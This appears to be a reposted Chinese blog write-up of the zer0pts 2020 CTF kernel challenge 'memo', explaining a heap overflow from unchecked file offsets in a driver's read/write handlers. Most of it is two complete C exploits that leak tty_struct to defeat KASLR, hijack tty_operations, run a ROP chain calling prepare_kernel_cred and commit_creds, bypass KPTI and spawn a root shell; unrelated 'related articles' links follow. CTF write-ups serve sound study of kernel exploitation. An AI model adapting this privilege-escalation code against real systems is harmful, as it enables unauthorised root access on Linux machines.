zer0pts-2020-memo:由文件偏移处理不正确--引发的堆溢出

2024-02-09 16:04

本文主要是介绍zer0pts-2020-memo:由文件偏移处理不正确--引发的堆溢出,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

启动脚本

#!/bin/sh
qemu-system-x86_64 \-m 256M \-kernel ./bzImage \-initrd ./rootfs.cpio \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \-cpu kvm64,+smep,+smap \-monitor /dev/null \-nographic -enable-kvm
/ # dmesg | grep 'page table'
[    0.712632] Kernel/User page tables isolation: enabled
/ # cat /proc/cpuinfo | grep pti
fpu_exception	: yes
flags		: ... pti smep smap

smep,smap,kaslr,pti都开启了

问题

mod_readmod_write中,没有检查filp->f_ops+count的情况
在这里插入图片描述

利用方式

#define DEVICE_NAME "memo"
#define MAX_SIZE 0x400
memo = kmalloc(MAX_SIZE, GFP_KERNEL);

1、在驱动打开的时候,分配的memo是kmalloc-0x400的slab
2、分配tty_struct,使得与memo在同一kcache中,并且在memo下方
3、通过读memo下方的tty_struct,从而得到内核基地址(绕过kaslr)和堆相关的地址(从而获得memo的地址kernheap,布置rop)
4、将tty_struct->tty_operations指向memo的0x300处
5、将memo的0x300开始布置tty_operations,在0x300+0xC*8处布置tty_operations->ioctl,一个栈迁移指令
6、将rop布置到memo起始处(通过swapgs_restore_regs_and_return_to_usermode绕过PTI
7、ioctl(ptmx, kernheap, kernheap); kernheap为rdi

提权

exp1

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>#define ulong unsigned longulong user_cs, user_ss, user_sp, user_rflags;void pop_shell(void)
{char *argv[] = {"/bin/sh", NULL};char *envp[] = {NULL};execve("/bin/sh", argv, envp);
}static void save_state(void)
{asm("movq %%cs, %0\n""movq %%ss, %1\n""movq %%rsp, %2\n""pushfq\n""popq %3\n": "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory");
}int main(void)
{// 前提是可以溢出,int memo = open("/dev/memo", O_RDWR); // 申请 0x400的空间int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY); // 申请 0x400 tty_structchar buf[0x400];ulong *rop;ulong kernbase, kernheap;/**** gadgets ****/ulong off_ptm_unix98_ops_kernbase = 0x6191e0;ulong off_kernheap = 0x438;// 0xffffffff810243b8: push rdx ; pop rsp ; sub eax, 0x0002E5AC ; pop rax ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret  ;  (1 found)ulong gad1 = 0x243b8;// 0xffffffff810e7ae8: pop rdi ; ret  ;  (47 found)ulong pop_rdi = 0xe7ae8;// 0xffffffff8100fc8e: mov rdi, rax ; rep movsq  ; ret  ;  (1 found)ulong mov_rdi_rax = 0xfc8e;// 0xffffffff810fb892: pop rcx ; add cl, byte [rax-0x7D] ; ret  ;  (2 found)ulong pop_rcx = 0xfb892;ulong prepare_kernel_cred = 0x44850;ulong commit_creds = 0x44680;/*0xffffffff812009c4 <+68>:    mov    rdi,rsp0xffffffff812009c7 <+71>:    mov    rsp,QWORD PTR ds:0xffffffff818060040xffffffff812009cf <+79>:    push   QWORD PTR [rdi+0x30]0xffffffff812009d2 <+82>:    push   QWORD PTR [rdi+0x28]0xffffffff812009d5 <+85>:    push   QWORD PTR [rdi+0x20]0xffffffff812009d8 <+88>:    push   QWORD PTR [rdi+0x18]0xffffffff812009db <+91>:    push   QWORD PTR [rdi+0x10]0xffffffff812009de <+94>:    push   QWORD PTR [rdi]0xffffffff812009e0 <+96>:    push   rax0xffffffff812009e1 <+97>:    xchg   ax,ax0xffffffff812009e3 <+99>:    mov    rdi,cr30xffffffff812009e6 <+102>:   jmp    0xffffffff81200a1a <common_interrupt+154>0xffffffff812009e8 <+104>:   mov    rax,rdi0xffffffff812009eb <+107>:   and    rdi,0x7ff*/ulong swapgs_restore_regs_and_return_to_usermode = 0x2009c4;// 保存状态save_state();// 溢出,读取 tty_structlseek(memo, 0x300, SEEK_SET);read(memo, buf, 0x400);// leak kernbase and kernheap// 可以从 tty_struct 中获取两类数据,代码的基地址,堆的基地址kernbase = *(unsigned long *)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase;  // 这个很明显printf("kernbase: %lx\n", kernbase);// struct tty_struct-> read_wait(list_head)->next 指向了自己// 这个地方 off_kernheap 在不同的环境下不一定,需要自己调试确认一下kernheap = *(unsigned long *)(buf + 0x100 + 0x38) - off_kernheap; // kernheap 是 /dev/memo 堆地址printf("kernheap: %lx\n", kernheap);// vtableへのポインタの書き換え*(unsigned long *)(buf + 0xc * 8) = kernbase + gad1;       // fake ioctl entry*(unsigned long *)(buf + 0x100 + 0x18) = kernheap + 0x300; // fake vtable pointer // 将提取代码布置到 第一个0x400中lseek(memo, 0x300, SEEK_SET);write(memo, buf, 0x400); // overwrite ops and ioctl entry// ROP chainrop = (unsigned long *)buf;// gad1のごまかし*6*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;// init_task の cred を入手*rop++ = kernbase + pop_rdi;*rop++ = 0;*rop++ = kernbase + prepare_kernel_cred;// 入手したcredを引数にしてcommit*rop++ = kernbase + pop_rcx; // mov_rdi_raxガジェットがrepを含んでいるため、カウンタ0にしておく*rop++ = 0;*rop++ = kernbase + mov_rdi_rax;*rop++ = kernbase + commit_creds;// return to usermode by swapgs_restore_regs_and_return_to_usermode*rop++ = kernbase + swapgs_restore_regs_and_return_to_usermode;*rop++ = 0;*rop++ = 0;*rop++ = (ulong)&pop_shell;*rop++ = user_cs;*rop++ = user_rflags;*rop++ = user_sp;*rop++ = user_ss;// invoke shelllseek(memo, 0x0, SEEK_SET);write(memo, buf, 0x100);// ioctl(ptmx,0xdeadbeef,0xcafebabe);// ioctl(ptmx,rip,rdx)// rip = 0xdeadbeef// rdx = 0xcafebabeioctl(ptmx, kernheap, kernheap);return 0;
}

exp2

// https://hackmd.io/@ptr-yudai/rJp1TpbBU#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>unsigned long kbase, kheap;
unsigned long ptm_unix98_ops = 0xe65900;unsigned long rop_mov_cr4_edi = 0x04b6a1;
unsigned long rop_push_r12_add_rbp_41_ebx_pop_rsp_r13 = 0x94d4e3;
unsigned long rop_pop_rdi = 0x001268;
unsigned long rop_pop_rcx = 0x04c852;
unsigned long rop_mov_rdi_rax = 0x019dcb;
unsigned long rop_bypass_kpti = 0xa00a45;
unsigned long commit_creds = 0xffffffff9127b8b0 - 0xffffffff91200000;
unsigned long prepare_kernel_cred = 0xffffffff9127bb50 - 0xffffffff91200000;unsigned long user_cs;
unsigned long user_ss;
unsigned long user_sp;
unsigned long user_rflags;static void save_state()
{asm("movq %%cs, %0\n""movq %%ss, %1\n""movq %%rsp, %2\n""pushfq\n""popq %3\n": "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags):: "memory");
}static void win() {char *argv[] = {"/bin/sh", NULL};char *envp[] = {NULL};puts("[+] Win!");execve("/bin/sh", argv, envp);
}int main() {unsigned long buf[0x400 / sizeof(unsigned long)];save_state();/* open drivers */int fd = open("/dev/memo", O_RDWR);if (fd < 0) {perror("/dev/memo");return 1;}int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);if (ptmx < 0) {perror("/dev/ptmx");return 1;}/* leak kbase & kheap */lseek(fd, 0x100, SEEK_SET);read(fd, buf, 0x400);kbase = buf[(0x300 + 0x18) / sizeof(unsigned long)] - ptm_unix98_ops;kheap = buf[(0x300 + 0x38) / sizeof(unsigned long)] - 0x38 - 0x400;printf("[+] kbase = 0x%016lx\n", kbase);printf("[+] kheap = 0x%016lx\n", kheap);/* write fake vtable, rop chain & overwrite ops */// fake tty_structbuf[(0x300 + 0x18) / sizeof(unsigned long)] = kheap + 0x100; // ops// fake tty_operationsbuf[12] = kbase + rop_push_r12_add_rbp_41_ebx_pop_rsp_r13; // ioctl// rop chainunsigned long *chain = &buf[0x100 / sizeof(unsigned long)];*chain++ = kbase + rop_pop_rdi;*chain++ = 0;*chain++ = kbase + prepare_kernel_cred;*chain++ = kbase + rop_pop_rcx;     // make rcx 0 to bypass rep*chain++ = 0;*chain++ = kbase + rop_mov_rdi_rax;*chain++ = kbase + commit_creds;    // cc(pkc(0));*chain++ = kbase + rop_bypass_kpti; // return to usermode*chain++ = 0xdeadbeef;*chain++ = 0xdeadbeef;*chain++ = (unsigned long)&win;*chain++ = user_cs;*chain++ = user_rflags;*chain++ = user_sp;*chain++ = user_ss;// overwrite!lseek(fd, 0x100, SEEK_SET);write(fd, buf, 0x400);/* ignite! */ioctl(ptmx, 0xdeadbeef, kheap + 0x200 - 8); // -8 for pop r13return 0;
}

这篇关于zer0pts-2020-memo:由文件偏移处理不正确--引发的堆溢出的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/694681

相关文章

使用C++将处理后的信号保存为PNG和TIFF格式

《使用C++将处理后的信号保存为PNG和TIFF格式》在信号处理领域,我们常常需要将处理结果以图像的形式保存下来,方便后续分析和展示,C++提供了多种库来处理图像数据,本文将介绍如何使用stb_ima... 目录1. PNG格式保存使用stb_imagephp_write库1.1 安装和包含库1.2 代码解

C#使用DeepSeek API实现自然语言处理,文本分类和情感分析

《C#使用DeepSeekAPI实现自然语言处理,文本分类和情感分析》在C#中使用DeepSeekAPI可以实现多种功能,例如自然语言处理、文本分类、情感分析等,本文主要为大家介绍了具体实现步骤,... 目录准备工作文本生成文本分类问答系统代码生成翻译功能文本摘要文本校对图像描述生成总结在C#中使用Deep

Spring Boot 整合 ShedLock 处理定时任务重复执行的问题小结

《SpringBoot整合ShedLock处理定时任务重复执行的问题小结》ShedLock是解决分布式系统中定时任务重复执行问题的Java库,通过在数据库中加锁,确保只有一个节点在指定时间执行... 目录前言什么是 ShedLock?ShedLock 的工作原理:定时任务重复执行China编程的问题使用 Shed

Redis如何使用zset处理排行榜和计数问题

《Redis如何使用zset处理排行榜和计数问题》Redis的ZSET数据结构非常适合处理排行榜和计数问题,它可以在高并发的点赞业务中高效地管理点赞的排名,并且由于ZSET的排序特性,可以轻松实现根据... 目录Redis使用zset处理排行榜和计数业务逻辑ZSET 数据结构优化高并发的点赞操作ZSET 结

微服务架构之使用RabbitMQ进行异步处理方式

《微服务架构之使用RabbitMQ进行异步处理方式》本文介绍了RabbitMQ的基本概念、异步调用处理逻辑、RabbitMQ的基本使用方法以及在SpringBoot项目中使用RabbitMQ解决高并发... 目录一.什么是RabbitMQ?二.异步调用处理逻辑:三.RabbitMQ的基本使用1.安装2.架构

Java循环创建对象内存溢出的解决方法

《Java循环创建对象内存溢出的解决方法》在Java中,如果在循环中不当地创建大量对象而不及时释放内存,很容易导致内存溢出(OutOfMemoryError),所以本文给大家介绍了Java循环创建对象... 目录问题1. 解决方案2. 示例代码2.1 原始版本(可能导致内存溢出)2.2 修改后的版本问题在

一文详解Python中数据清洗与处理的常用方法

《一文详解Python中数据清洗与处理的常用方法》在数据处理与分析过程中,缺失值、重复值、异常值等问题是常见的挑战,本文总结了多种数据清洗与处理方法,文中的示例代码简洁易懂,有需要的小伙伴可以参考下... 目录缺失值处理重复值处理异常值处理数据类型转换文本清洗数据分组统计数据分箱数据标准化在数据处理与分析过

golang1.23版本之前 Timer Reset方法无法正确使用

《golang1.23版本之前TimerReset方法无法正确使用》在Go1.23之前,使用`time.Reset`函数时需要先调用`Stop`并明确从timer的channel中抽取出东西,以避... 目录golang1.23 之前 Reset ​到底有什么问题golang1.23 之前到底应该如何正确的

mysql外键创建不成功/失效如何处理

《mysql外键创建不成功/失效如何处理》文章介绍了在MySQL5.5.40版本中,创建带有外键约束的`stu`和`grade`表时遇到的问题,发现`grade`表的`id`字段没有随着`studen... 当前mysql版本:SELECT VERSION();结果为:5.5.40。在复习mysql外键约

Go语言使用Buffer实现高性能处理字节和字符

《Go语言使用Buffer实现高性能处理字节和字符》在Go中,bytes.Buffer是一个非常高效的类型,用于处理字节数据的读写操作,本文将详细介绍一下如何使用Buffer实现高性能处理字节和... 目录1. bytes.Buffer 的基本用法1.1. 创建和初始化 Buffer1.2. 使用 Writ